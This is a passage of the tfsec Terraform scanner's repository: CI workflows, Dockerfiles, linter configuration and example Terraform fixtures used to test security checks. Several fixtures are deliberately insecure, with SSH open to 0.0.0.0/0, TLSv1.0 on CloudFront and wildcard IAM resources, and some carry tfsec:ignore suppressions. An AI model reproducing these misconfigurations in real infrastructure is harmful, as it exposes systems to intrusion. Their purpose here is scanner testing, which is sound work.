ubuntu-latest 12 | 13 | steps: 14 | - uses: actions/checkout@v3 15 | with: 16 | fetch-depth: 0 17 | 18 | - uses: actions/setup-go@v3 19 | with: 20 | go-version-file: go.mod 21 | cache: true 22 | cache-dependency-path: go.sum 23 | 24 | - name: Import GPG key 25 | id: import_gpg 26 | uses: crazy-max/ghaction-import-gpg@v5.3.0 27 | with: 28 | gpg_private_key: ${{ secrets.GPG_PRIVATE_KEY }} 29 | passphrase: ${{ secrets.GPG_PASSPHRASE }} 30 | 31 | - name: Set up QEMU 32 | id: qemu 33 | uses: docker/setup-qemu-action@v2 34 | 35 | - name: Docker Login 36 | uses: docker/login-action@v2 37 | with: 38 | registry: ghcr.io 39 | username: ${{ github.repository_owner }} 40 | password: ${{ secrets.GITHUB_TOKEN }} 41 | 42 | - name: Release 43 | uses: goreleaser/goreleaser-action@v4 44 | with: 45 | version: v1.25.1 46 | args: release --clean -f .goreleaser_github.yml 47 | env: 48 | GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} 49 | -------------------------------------------------------------------------------- /.github/workflows/golangci-lint.yml: -------------------------------------------------------------------------------- 1 | name: golangci-lint 2 | on: 3 | push: 4 | tags: 5 | - v* 6 | branches: 7 | - master 8 | - main 9 | pull_request: 10 | paths-ignore: 11 | - '*.md' 12 | permissions: 13 | contents: read 14 | pull-requests: read 15 | jobs: 16 | golangci: 17 | name: Run golangci-lint 18 | runs-on: ubuntu-latest 19 | steps: 20 | - uses: actions/checkout@v3 21 | - uses: actions/setup-go@v5 22 | with: 23 | go-version-file: go.mod 24 | - uses: golangci/golangci-lint-action@v7 25 | with: 26 | version: v2.1 27 | args: --verbose 28 | -------------------------------------------------------------------------------- /.github/workflows/labeler.yml: -------------------------------------------------------------------------------- 1 | name: "Issue Labeler" 2 | on: 3 | issues: 4 | types: [opened] 5 | 6 | jobs: 7 | triage: 8 | name: "Triage issues" 9 | runs-on: ubuntu-latest 10 | steps: 11 | - uses: github/issue-labeler@v3.0 12 | with: 13 | repo-token: "${{ secrets.GITHUB_TOKEN }}" 14 | configuration-path: .github/labeler.yml 15 | enable-versioned-regex: 0 16 | -------------------------------------------------------------------------------- /.github/workflows/mkdocs-latest.yaml: -------------------------------------------------------------------------------- 1 | name: Deploy the latest documentation 2 | on: 3 | workflow_dispatch: 4 | inputs: 5 | version: 6 | description: Version to be deployed 7 | required: true 8 | push: 9 | tags: 10 | - "v*" 11 | jobs: 12 | deploy: 13 | name: Deploy the latest documentation 14 | runs-on: ubuntu-20.04 15 | steps: 16 | - name: Checkout main 17 | uses: actions/checkout@v3 18 | with: 19 | fetch-depth: 0 20 | persist-credentials: true 21 | - uses: actions/setup-python@v4 22 | with: 23 | python-version: 3.x 24 | - name: Install dependencies 25 | run: | 26 | pip install git+https://${GH_TOKEN}@github.com/squidfunk/mkdocs-material-insiders.git@8.3.3-insiders-4.17.2 27 | pip install -r docs/requirements.txt 28 | env: 29 | GH_TOKEN: ${{ secrets.MKDOCS_AQUA_BOT }} 30 | - name: Configure the git user 31 | run: | 32 | git config user.name "owenrumney" 33 | git config user.email "owen.rumney@aquasec.com" 34 | - name: Deploy the latest documents from new tag push 35 | if: ${{ github.event.inputs.version == '' }} 36 | run: | 37 | VERSION=$(echo ${{ github.ref }} | sed -e "s#refs/tags/##g") 38 | mike deploy --push --update-aliases $VERSION latest 39 | - name: Deploy the latest documents from manual trigger 40 | if: ${{ github.event.inputs.version != '' }} 41 | run: mike deploy --push --update-aliases ${{ github.event.inputs.version }} latest -------------------------------------------------------------------------------- /.github/workflows/release.yml: -------------------------------------------------------------------------------- 1 | name: tfsec release 2 | 3 | on: 4 | push: 5 | tags: 6 | - v* 7 | 8 | jobs: 9 | build: 10 | name: Create binary + dockerhub releases 11 | runs-on: ubuntu-latest 12 | 13 | steps: 14 | - uses: actions/checkout@v3 15 | with: 16 | fetch-depth: 0 17 | 18 | - uses: actions/setup-go@v3 19 | with: 20 | go-version-file: go.mod 21 | cache: true 22 | cache-dependency-path: go.sum 23 | 24 | - name: Import GPG key 25 | id: import_gpg 26 | uses: crazy-max/ghaction-import-gpg@v5.3.0 27 | with: 28 | gpg_private_key: ${{ secrets.GPG_PRIVATE_KEY }} 29 | passphrase: ${{ secrets.GPG_PASSPHRASE }} 30 | 31 | - name: Set up QEMU 32 | id: qemu 33 | uses: docker/setup-qemu-action@v2 34 | 35 | - name: Login to docker.io registry 36 | uses: docker/login-action@v2 37 | with: 38 | username: ${{ secrets.DOCKERHUB_USER }} 39 | password: ${{ secrets.DOCKERHUB_TOKEN }} 40 | 41 | - name: Release 42 | uses: goreleaser/goreleaser-action@v4 43 | with: 44 | version: v1.25.1 45 | args: release --clean 46 | env: 47 | GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} 48 | SLACK_WEBHOOK: ${{ secrets.SLACK_WEBHOOK }} 49 | TWITTER_CONSUMER_KEY: ${{ secrets.TWITTER_CONSUMER_KEY }} 50 | TWITTER_CONSUMER_SECRET: ${{ secrets.TWITTER_CONSUMER_SECRET }} 51 | TWITTER_ACCESS_TOKEN: ${{ secrets.TWITTER_ACCESS_TOKEN }} 52 | TWITTER_ACCESS_TOKEN_SECRET: ${{ secrets.TWITTER_ACCESS_TOKEN_SECRET }} 53 | -------------------------------------------------------------------------------- /.github/workflows/snapshot-release.yml: -------------------------------------------------------------------------------- 1 | name: tfsec snapshot build 2 | 3 | on: 4 | push: 5 | branches: 6 | - master 7 | 8 | jobs: 9 | build: 10 | name: Build release snapshot 11 | runs-on: ubuntu-latest 12 | 13 | steps: 14 | - uses: actions/checkout@v3 15 | with: 16 | fetch-depth: 0 17 | 18 | - uses: actions/setup-go@v3 19 | with: 20 | go-version-file: go.mod 21 | cache: true 22 | cache-dependency-path: go.sum 23 | 24 | - name: Set up QEMU 25 | id: qemu 26 | uses: docker/setup-qemu-action@v2 27 | 28 | - name: Import GPG key 29 | id: import_gpg 30 | uses: crazy-max/ghaction-import-gpg@v5 31 | with: 32 | gpg_private_key: ${{ secrets.GPG_PRIVATE_KEY }} 33 | passphrase: ${{ secrets.GPG_PASSPHRASE }} 34 | 35 | - name: Login to docker.io registry 36 | uses: docker/login-action@v2 37 | with: 38 | username: ${{ secrets.DOCKERHUB_USER }} 39 | password: ${{ secrets.DOCKERHUB_TOKEN }} 40 | 41 | - name: Release dry run 42 | uses: goreleaser/goreleaser-action@v4 43 | with: 44 | version: v1.25.1 45 | args: release --snapshot --clean 46 | env: 47 | GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} 48 | SLACK_WEBHOOK: ${{ secrets.SLACK_WEBHOOK }} 49 | TWITTER_CONSUMER_KEY: ${{ secrets.TWITTER_CONSUMER_KEY }} 50 | TWITTER_CONSUMER_SECRET: ${{ secrets.TWITTER_CONSUMER_SECRET }} 51 | TWITTER_ACCESS_TOKEN: ${{ secrets.TWITTER_ACCESS_TOKEN }} 52 | TWITTER_ACCESS_TOKEN_SECRET: ${{ secrets.TWITTER_ACCESS_TOKEN_SECRET }} 53 | -------------------------------------------------------------------------------- /.github/workflows/stale.yml: -------------------------------------------------------------------------------- 1 | name: 'Close stale issues and PRs' 2 | on: 3 | schedule: 4 | # Runs at 15:00 UTC every day. 5 | # Actions schedules run at most every 5 minutes. 6 | - cron: '0 15 * * *' 7 | permissions: 8 | issues: write 9 | pull-requests: write 10 | jobs: 11 | stale: 12 | name: Manage stale issues and PRs 13 | runs-on: ubuntu-latest 14 | steps: 15 | - uses: actions/stale@v7 16 | with: 17 | stale-issue-message: 'This issue is stale because it has been open 30 days with no activity. Remove stale label or comment or this will be closed in 365 days.' 18 | stale-pr-message: 'This PR is stale because it has been open 30 days with no activity. Remove stale label or comment or this will be closed in 365 days.' 19 | close-issue-message: 'This issue was closed because it has been stalled for 365 days with no activity.' 20 | close-pr-message: 'This PR was closed because it has been stalled for 365 days with no activity.' 21 | days-before-issue-stale: 30 22 | days-before-pr-stale: 30 23 | days-before-issue-close: 365 24 | days-before-pr-close: 365 25 | stale-issue-label: stale 26 | stale-pr-label: stale 27 | exempt-issue-labels: accepted 28 | 29 | -------------------------------------------------------------------------------- /.github/workflows/test.yml: -------------------------------------------------------------------------------- 1 | name: tests 2 | 3 | on: 4 | pull_request: 5 | paths-ignore: 6 | - '*.md' 7 | schedule: 8 | - cron: 0 23 * * * 9 | 10 | jobs: 11 | build: 12 | name: Run Go tests 13 | runs-on: ${{ matrix.os }} 14 | strategy: 15 | matrix: 16 | os: [ macos-latest, windows-latest, ubuntu-latest ] 17 | 18 | steps: 19 | - uses: actions/checkout@v3 20 | 21 | - uses: actions/setup-go@v3 22 | with: 23 | go-version-file: go.mod 24 | cache: true 25 | cache-dependency-path: go.sum 26 | 27 | - run: make test 28 | 29 | -------------------------------------------------------------------------------- /.github/workflows/typos.yml: -------------------------------------------------------------------------------- 1 | name: typos 2 | 3 | on: 4 | pull_request: 5 | paths-ignore: 6 | - '*.md' 7 | 8 | jobs: 9 | build: 10 | name: Detect typos 11 | runs-on: ubuntu-latest 12 | 13 | steps: 14 | - uses: actions/checkout@v3 15 | - name: Run typo checks 16 | run: make typos 17 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | /tfsec 2 | /tfsec-docs 3 | /bin 4 | /.idea 5 | vendor/ 6 | 7 | # ignore windows compiled binary 8 | /tfsec.exe 9 | /tfsec-docs.exe 10 | /tfsec-docs 11 | /tfsec-skeleton 12 | /.vscode/launch.json 13 | 14 | /checkdocs 15 | 16 | /coverage.txt 17 | /dist 18 | 19 | .terraform* 20 | 21 | /site 22 | -------------------------------------------------------------------------------- /.golangci.yml: -------------------------------------------------------------------------------- 1 | --- 2 | version: "2" 3 | 4 | formatters: 5 | enable: 6 | - gofmt 7 | - goimports 8 | 9 | linters: 10 | default: none 11 | enable: 12 | - bodyclose 13 | - contextcheck 14 | - copyloopvar 15 | - cyclop 16 | - durationcheck 17 | - errcheck 18 | - errname 19 | - errorlint 20 | - gocritic 21 | - gosec 22 | - govet 23 | - ineffassign 24 | - staticcheck 25 | - unused 26 | 27 | settings: 28 | cyclop: 29 | max-complexity: 15 30 | gocritic: 31 | disabled-checks: 32 | - singleCaseSwitch 33 | gosec: 34 | excludes: 35 | - G115 36 | - G306 37 | 38 | exclusions: 39 | generated: strict 40 | presets: 41 | - comments 42 | - common-false-positives 43 | - legacy 44 | - std-error-handling 45 | 46 | run: 47 | timeout: 10m 48 | -------------------------------------------------------------------------------- /.pre-commit-hooks.yaml: -------------------------------------------------------------------------------- 1 | - id: tfsec 2 | name: TFSec 3 | description: TFsec is a tool to statically analyze Terraform templates to spot potential security issues. 4 | language: golang 5 | entry: tfsec 6 | pass_filenames: false 7 | 8 | - id: tfsec-docker 9 | name: TFSec Docker 10 | description: TFsec is a tool to statically analyze Terraform templates to spot potential security issues, uses projects official docker image. 11 | language: docker_image 12 | entry: aquasec/tfsec-alpine 13 | pass_filenames: false 14 | 15 | - id: tfsec-system 16 | name: TFSec system 17 | description: TFsec is a tool to statically analyze Terraform templates to spot potential security issues, uses systems installed tfsec. 18 | language: system 19 | entry: tfsec 20 | pass_filenames: false 21 | -------------------------------------------------------------------------------- /CODE_OF_CONDUCT.md: -------------------------------------------------------------------------------- 1 | # Code of Conduct 2 | 3 | Aqua Security open source projects follow the [CNCF Code of Conduct](https://github.com/cncf/foundation/blob/master/code-of-conduct.md). 4 | 5 | Instances of abusive, harassing, or otherwise unacceptable behavior may be reported to a project maintainer. 6 | 7 | -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | FROM alpine:latest 2 | 3 | # install git 4 | RUN apk add --no-cache git 5 | 6 | COPY tfsec /usr/bin/tfsec 7 | 8 | ## use a non-privileged user 9 | RUN adduser -D tfsec 10 | USER tfsec 11 | 12 | # set the default entrypoint -- when this container is run, use this command 13 | ENTRYPOINT [ "tfsec" ] 14 | # as we specified an entrypoint, this is appended as an argument (i.e., `tfsec --help`) 15 | CMD [ "--help" ] 16 | -------------------------------------------------------------------------------- /Dockerfile.ci: -------------------------------------------------------------------------------- 1 | FROM alpine:latest 2 | 3 | # install git 4 | RUN apk add --no-cache git 5 | 6 | COPY tfsec /usr/bin/tfsec 7 | 8 | ## use a non-privileged user 9 | RUN adduser -D tfsec 10 | USER tfsec 11 | 12 | # as we are not specifying an entrypoint, this is the default executed command 13 | # that you could override 14 | CMD [ "tfsec", "--help" ] 15 | -------------------------------------------------------------------------------- /Dockerfile.scratch: -------------------------------------------------------------------------------- 1 | FROM alpine:3.17.2 as nobody 2 | 3 | FROM scratch 4 | # use a non-privileged user but need to add it in 5 | COPY --from=nobody /etc/group /etc/passwd /etc/ 6 | USER nobody 7 | # work somewhere where we can write 8 | COPY tfsec /usr/bin/tfsec 9 | # set the default entrypoint -- when this container is run, use this command 10 | ENTRYPOINT [ "tfsec" ] 11 | # as we specified an entrypoint, this is appended as an argument (i.e., `tfsec --help`) 12 | CMD [ "--help" ] 13 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2019 Liam Galvin 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /_examples/1000/main.tf: -------------------------------------------------------------------------------- 1 | 2 | variable "bad" { 3 | default = "0.0" 4 | } 5 | 6 | resource "aws_security_group" "test" { 7 | name = "allow-all-sg" 8 | description = "Allowing everyone to connect to this public instance" 9 | vpc_id = aws_vpc.my_vpc.id 10 | ingress { 11 | cidr_blocks = ["0.0.0.0/0"] 12 | from_port = "22" 13 | to_port = "22" 14 | protocol = "tcp" 15 | } 16 | tags = { 17 | Type = "Public" 18 | } 19 | 20 | egress { 21 | from_port = 0 22 | to_port = 0 23 | protocol = "-1" 24 | cidr_blocks = ["0.0.${var.bad}/0"] 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /_examples/1010/main.tf: -------------------------------------------------------------------------------- 1 | terraform { 2 | required_providers { 3 | aws = { 4 | source = "hashicorp/aws" 5 | version = "~> 3.0" 6 | } 7 | } 8 | } 9 | 10 | provider "aws" { 11 | region = "eu-west-2" 12 | } 13 | 14 | resource "aws_kms_key" "objects" { 15 | description = "KMS key is used to encrypt bucket objects" 16 | deletion_window_in_days = 7 17 | enable_key_rotation = true 18 | } 19 | 20 | module "s3_bucket" { 21 | source = "terraform-aws-modules/s3-bucket/aws" 22 | 23 | bucket = "my-s3-bucket" 24 | acl = "private" 25 | 26 | attach_public_policy = true 27 | block_public_acls = true 28 | block_public_policy = true 29 | ignore_public_acls = true 30 | restrict_public_buckets = true 31 | 32 | logging = { 33 | target_bucket = "my-log-bucket" 34 | target_prefix = "log/" 35 | } 36 | 37 | server_side_encryption_configuration = { 38 | rule = { 39 | apply_server_side_encryption_by_default = { 40 | kms_master_key_id = aws_kms_key.objects.arn 41 | sse_algorithm = "aws:kms" 42 | } 43 | } 44 | } 45 | 46 | versioning = { 47 | enabled = true 48 | } 49 | } -------------------------------------------------------------------------------- /_examples/1087/main.tf: -------------------------------------------------------------------------------- 1 | resource "aws_vpc" "main" { 2 | cidr_block = "10.0.0.0/16" 3 | instance_tenancy = "default" 4 | 5 | tags = { 6 | Name = "main" 7 | } 8 | } 9 | 10 | 11 | resource "aws_security_group" "foo" { 12 | name = "example" 13 | description = "Some SG" # we don't care about this 14 | vpc_id = aws_vpc.main.id 15 | } 16 | 17 | 18 | 19 | resource "aws_security_group" "example" { 20 | name = "example" 21 | description = "Some SG" # we don't care about this 22 | vpc_id = aws_vpc.main.id 23 | 24 | ingress { 25 | description = "access from xyz" # this description is the important one 26 | from_port = 8080 27 | to_port = 8080 28 | protocol = "tcp" 29 | security_groups = [aws_security_group.foo.id] 30 | } 31 | 32 | ingress { 33 | from_port = 443 34 | to_port = 443 35 | protocol = "tcp" 36 | security_groups = [aws_security_group.foo.id] 37 | } 38 | } 39 | -------------------------------------------------------------------------------- /_examples/1509/main.tf: -------------------------------------------------------------------------------- 1 | resource "aws_cloudfront_distribution" "bad_example" { 2 | default_cache_behavior { 3 | viewer_protocol_policy = "allow-all" 4 | } 5 | viewer_certificate { 6 | cloudfront_default_certificate = true 7 | minimum_protocol_version = "TLSv1.0" 8 | } 9 | } 10 | -------------------------------------------------------------------------------- /_examples/1535/main.tf: -------------------------------------------------------------------------------- 1 | resource "aws_iam_role_policy" "test_policy" { 2 | name = "test_policy" 3 | role = aws_iam_role.test_role.id 4 | 5 | policy = data.aws_iam_policy_document.service.json 6 | } 7 | 8 | resource "aws_iam_role" "test_role" { 9 | name = "test_role" 10 | assume_role_policy = jsonencode({ 11 | Version = "2012-10-17" 12 | Statement = [ 13 | { 14 | Action = "sts:AssumeRole" 15 | Effect = "Allow" 16 | Sid = "" 17 | Principal = { 18 | Service = "s3.amazonaws.com" 19 | } 20 | }, 21 | ] 22 | }) 23 | } 24 | 25 | data "aws_iam_policy_document" "service" { 26 | statement { 27 | sid = "AllowCloudWatchLogs" 28 | effect = "Allow" 29 | 30 | actions = [ 31 | "logs:CreateLogGroup", 32 | ] 33 | 34 | resources = ["*"] # tfsec:ignore:aws-iam-no-policy-wildcards 35 | } 36 | 37 | statement { 38 | sid = "AllowS3Write" 39 | effect = "Allow" 40 | 41 | actions = [ 42 | "s3:GetObject" 43 | ] 44 | 45 | resources = ["*"] 46 | } 47 | } 48 | -------------------------------------------------------------------------------- /_examples/1607/.tfsec/custom_tfchecks.yaml: -------------------------------------------------------------------------------- 1 | --- 2 | checks: 3 | - code: CUS001 4 | description: Custom check to ensure the CostCentre tag is applied to EC2 instances 5 | impact: By not having CostCentre we can't keep track of billing 6 | resolution: Add the CostCentre tag 7 | requiredTypes: 8 | - resource 9 | requiredLabels: 10 | - aws_instance 11 | severity: ERROR 12 | matchSpec: 13 | name: tags 14 | action: contains 15 | value: CostCentre 16 | errorMessage: The required CostCentre tag was missing 17 | relatedLinks: 18 | - http://internal.acmecorp.com/standards/aws/tagging.html 19 | -------------------------------------------------------------------------------- /_examples/1607/main.tf: -------------------------------------------------------------------------------- 1 | resource "aws_instance" "non_compliant" { 2 | ami = "ami-1234" 3 | instance_type = "t2.small" 4 | 5 | tags = { 6 | Department = "Finance" 7 | } 8 | 9 | } -------------------------------------------------------------------------------- /_examples/1693/main.tf: -------------------------------------------------------------------------------- 1 | locals { 2 | rules = { 3 | http = 80 4 | https = 443 5 | } 6 | } 7 | 8 | resource "aws_security_group" "this" { 9 | name = "Test" 10 | description = "test sg" 11 | vpc_id = "vpc-7238923ye8723t8" 12 | } 13 | 14 | # tfsec:ignore:aws-vpc-no-public-ingress-sgr[from_port=443] 15 | resource "aws_security_group_rule" "this" { 16 | for_each = local.rules 17 | type = "ingress" 18 | description = "test" 19 | from_port = each.value 20 | to_port = each.value 21 | protocol = "tcp" 22 | cidr_blocks = ["0.0.0.0/0"] 23 | 24 | security_group_id = aws_security_group.this.id 25 | } -------------------------------------------------------------------------------- /_examples/1775/main.tf: -------------------------------------------------------------------------------- 1 | module "ssh_server_sg" { 2 | source = "terraform-aws-modules/security-group/aws//modules/ssh" 3 | name = "ssh-server" 4 | description = "Security group for ssh-server with SSH ports open within VPC" 5 | vpc_id = "vpc-12345678" 6 | ingress_cidr_blocks = ["0.0.0.0/0"] 7 | } -------------------------------------------------------------------------------- /_examples/1818/main.tf: -------------------------------------------------------------------------------- 1 | locals { 2 | bucket_id = aws_s3_bucket.test[0].id 3 | } 4 | 5 | resource "aws_s3_bucket" "test" { 6 | count = 1 7 | bucket_prefix = "test_" 8 | } 9 | 10 | resource "aws_s3_bucket_public_access_block" "deny_public_access" { 11 | bucket = local.bucket_id 12 | 13 | block_public_acls = true 14 | block_public_policy = true 15 | restrict_public_buckets = true 16 | } -------------------------------------------------------------------------------- /_examples/971/configurations/project/main.tf: -------------------------------------------------------------------------------- 1 | module "storage" { 2 | source = "../../modules/azure/storage-account" 3 | name = "mystorageaccount" 4 | containers = { "mycontainer" = {} } 5 | } 6 | -------------------------------------------------------------------------------- /_examples/971/modules/azure/storage-account/module.tf: -------------------------------------------------------------------------------- 1 | resource "azurerm_storage_account" "storage_accounts" { 2 | name = var.name 3 | 4 | } 5 | 6 | module "storage_container" { 7 | for_each = var.containers 8 | source = "./../storage-container" 9 | storage_account_name = azurerm_storage_account.storage_accounts.name 10 | } 11 | 12 | 13 | variable "name" { 14 | 15 | } 16 | 17 | variable "containers" { 18 | 19 | } 20 | 21 | -------------------------------------------------------------------------------- /_examples/971/modules/azure/storage-container/module.tf: -------------------------------------------------------------------------------- 1 | resource "azurerm_storage_container" "containers" { 2 | name = var.name 3 | storage_account_name = var.storage_account_name 4 | } 5 | 6 | variable "storage_account_name" { 7 | 8 | } 9 | 10 | variable "name" { 11 | default = "" 12 | } -------------------------------------------------------------------------------- /_examples/archived/main.tf: -------------------------------------------------------------------------------- 1 | resource "github_repository" "this" { 2 | name = var.name 3 | description = var.description 4 | homepage_url = var.homepage_url 5 | 6 | archived = true 7 | visibility = "public" 8 | 9 | has_downloads = var.has_downloads 10 | has_issues = var.has_issues 11 | has_projects = var.has_projects 12 | has_wiki = var.has_wiki 13 | 14 | delete_branch_on_merge = var.delete_branch_on_merge 15 | vulnerability_alerts = var.vulnerability_alerts 16 | 17 | topics = var.topics 18 | 19 | dynamic "pages" { 20 | for_each = range(var.has_github_pages ? 1 : 0) 21 | 22 | content { 23 | cname = var.github_pages_cname 24 | 25 | source { 26 | branch = "gh-pages" 27 | path = "/" 28 | } 29 | } 30 | } 31 | 32 | lifecycle { 33 | prevent_destroy = true 34 | } 35 | } -------------------------------------------------------------------------------- /_examples/brew-validate.tf: -------------------------------------------------------------------------------- 1 | resource "aws_alb_listener" "my-alb-listener" { 2 | port = "443" 3 | protocol = "HTTPS" 4 | } 5 | -------------------------------------------------------------------------------- /_examples/cidrblocks/.tfsec/custom_tfchecks.yaml: -------------------------------------------------------------------------------- 1 | --- 2 | checks: 3 | - code: limit-cidr-ranges 4 | description: Custom check to ensure the only allowed cidr range are included for ingress 5 | requiredTypes: 6 | - resource 7 | requiredLabels: 8 | - aws_security_group 9 | severity: HIGH 10 | matchSpec: 11 | name: ingress 12 | action: isPresent 13 | subMatch: 14 | name: cidr_blocks 15 | action: onlyContains 16 | value: 17 | - "1.2.3.4" 18 | - "5.6.7.8" 19 | errorMessage: There is a cidr range that is not allowed 20 | relatedLinks: 21 | - http://internal.acmecorp.com/standards/aws/networking.html -------------------------------------------------------------------------------- /_examples/cidrblocks/main.tf: -------------------------------------------------------------------------------- 1 | resource "aws_security_group" "example_security_group_compliance" { 2 | name = "example_security_group_compliance" 3 | 4 | description = "Example SG" 5 | 6 | ingress { 7 | description = "Allow SSH" 8 | from_port = 22 9 | to_port = 22 10 | protocol = "tcp" 11 | cidr_blocks = ["1.2.3.4", "5.6.7.8"] 12 | } 13 | 14 | } 15 | 16 | resource "aws_security_group" "example_security_group_non_compliance" { 17 | name = "example_security_group_non_compliance" 18 | 19 | description = "Example SG" 20 | 21 | ingress { 22 | description = "Allow SSH" 23 | from_port = 22 24 | to_port = 22 25 | protocol = "tcp" 26 | cidr_blocks = ["1.2.3.4", "1.6.7.8"] 27 | } 28 | 29 | } -------------------------------------------------------------------------------- /_examples/cmd_checkgen_test-check/.tfsec/example_tfchecks.json: -------------------------------------------------------------------------------- 1 | { 2 | "checks": [ 3 | { 4 | "code": "cus-mfa-delete", 5 | "description": "Custom check to ensure MFA Delete is enabled on S3 buckets", 6 | "resolution": "Enable MFA Delete (this might already be enabled in AWS, but make sure the attribute is also in terraform)", 7 | "requiredTypes": [ 8 | "resource" 9 | ], 10 | "requiredLabels": [ 11 | "aws_s3_bucket" 12 | ], 13 | "severity": "Medium", 14 | "matchSpec": { 15 | "name": "versioning", 16 | "action": "isPresent", 17 | "subMatch": { 18 | "name": "mfa_delete", 19 | "action": "equals", 20 | "value": true 21 | } 22 | }, 23 | "errorMessage": "MFA Delete is disabled", 24 | "relatedLinks": [] 25 | } 26 | ] 27 | } 28 | -------------------------------------------------------------------------------- /_examples/cmd_checkgen_test-check/fail.tf: -------------------------------------------------------------------------------- 1 | resource "aws_s3_bucket" "demo_bucket1" { 2 | bucket = "demo-bucket" 3 | acl = "private" 4 | } -------------------------------------------------------------------------------- /_examples/cmd_checkgen_test-check/pass.tf: -------------------------------------------------------------------------------- 1 | resource "aws_s3_bucket" "demo_bucket1" { 2 | bucket = "demo-bucket" 3 | acl = "private" 4 | versioning { 5 | mfa_delete = true 6 | } 7 | } -------------------------------------------------------------------------------- /_examples/counts/main.tf: -------------------------------------------------------------------------------- 1 | resource "aws_security_group_rule" "trust-rules-dev" { 2 | count = 4 3 | description = var.trust-sg-rules[count.index]["description"] 4 | type = "ingress" 5 | protocol = "tcp" 6 | cidr_blocks = ["0.0.0.0/2"] 7 | to_port = var.trust-sg-rules[count.index]["to_port"] 8 | from_port = 10 9 | security_group_id = aws_security_group.trust-rules-dev.id 10 | } 11 | 12 | resource "aws_security_group" "trust-rules-dev" { 13 | description = "description" 14 | } 15 | 16 | variable "trust-sg-rules" { 17 | description = "A list of maps that creates a number of sg" 18 | type = list(map(string)) 19 | 20 | default = [ 21 | { 22 | description = "Allow egress of http traffic" 23 | from_port = "80" 24 | to_port = "80" 25 | type = "egress" 26 | }, 27 | { 28 | description = "Allow egress of http traffic" 29 | from_port = "80" 30 | to_port = "80" 31 | type = "egress" 32 | } 33 | ] 34 | } 35 | 36 | resource "aws_s3_bucket" "access-logs-bucket" { 37 | count = var.enable_cloudtrail ? 1 : 0 38 | bucket = "cloudtrail-access-logs" 39 | acl = "private" 40 | force_destroy = true 41 | 42 | versioning { 43 | enabled = true 44 | } 45 | 46 | server_side_encryption_configuration { 47 | rule { 48 | apply_server_side_encryption_by_default { 49 | sse_algorithm = "AES256" 50 | } 51 | } 52 | } 53 | } 54 | 55 | resource "aws_s3_bucket_public_access_block" "access-logs" { 56 | count = var.enable_cloudtrail ? 1 : 0 57 | 58 | bucket = aws_s3_bucket.access-logs-bucket[0].id 59 | 60 | block_public_acls = true 61 | block_public_policy = true 62 | ignore_public_acls = true 63 | restrict_public_buckets = true 64 | } -------------------------------------------------------------------------------- /_examples/custom/custom_check.tf: -------------------------------------------------------------------------------- 1 | resource "aws_instance" "non_compliant" { 2 | ami = "ami-1234" 3 | instance_type = "t2.small" 4 | 5 | tags = { 6 | Department = "Finance" 7 | } 8 | 9 | } 10 | 11 | resource "aws_instance" "compliant" { 12 | ami = "ami-12345" 13 | instance_type = "t2.small" 14 | cpu_core_count = 4 15 | 16 | tags = { 17 | Department = "Finance" 18 | CostCentre = "CC1234" 19 | } 20 | } 21 | 22 | resource "aws_s3_bucket" "unversioned_bucket" { 23 | bucket = "my-tf-test-bucket" 24 | acl = "private" 25 | } 26 | 27 | #tfsec:ignore:AWS017:exp:2021-01-01:ws:testworkspace 28 | resource "aws_s3_bucket" "versioned_bucket" { 29 | bucket = "my-tf-test-bucket" 30 | acl = "private" 31 | 32 | versioning { 33 | enabled = true 34 | } 35 | } 36 | # tfsec:ignore:AWS017 37 | resource "aws_s3_bucket" "disabled_versioned_bucket" { 38 | bucket = "my-tf-test-bucket" 39 | acl = "private" 40 | 41 | versioning { 42 | enabled = true 43 | } 44 | } 45 | 46 | module "custom_bucket" { 47 | source = "./modules/public_custom_bucket" 48 | bucket_name = "new-public-bucket" 49 | acl = "private" 50 | } 51 | 52 | #tfsec:ignore:aws-s3-enable-bucket-encryption 53 | resource "aws_s3_bucket" "bucket_with_public_acl" { 54 | bucket = "my-tf-test-bucket" 55 | // acl = "public-read" 56 | // 57 | versioning { 58 | enabled = true 59 | } 60 | } 61 | -------------------------------------------------------------------------------- /_examples/custom/modules/public_custom_bucket/main.tf: -------------------------------------------------------------------------------- 1 | resource "aws_s3_bucket" "custom_module_bucket" { 2 | bucket = var.bucket_name 3 | acl = var.acl 4 | 5 | versioning { 6 | enabled = true 7 | } 8 | } 9 | 10 | variable "bucket_name" { 11 | type = string 12 | description = "The name of the bucket" 13 | } 14 | 15 | variable "acl" { 16 | type = string 17 | description = "The acl to use" 18 | } -------------------------------------------------------------------------------- /_examples/custom/tfsec.json: -------------------------------------------------------------------------------- 1 | { 2 | "severity_overrides": { 3 | "CUS002": "HIGH", 4 | "AWS025": "WARNING" 5 | } 6 | } -------------------------------------------------------------------------------- /_examples/custom/tfsec.yaml: -------------------------------------------------------------------------------- 1 | --- 2 | severity_overrides: 3 | CUS002: HIGH 4 | AWS025: LOW -------------------------------------------------------------------------------- /_examples/custom_functions/.tfsec/functions_tfchecks.yaml: -------------------------------------------------------------------------------- 1 | --- 2 | checks: 3 | - code: TAG_custom 4 | description: Custom check to ensure the Environment tag is applied 5 | errorMessage: The 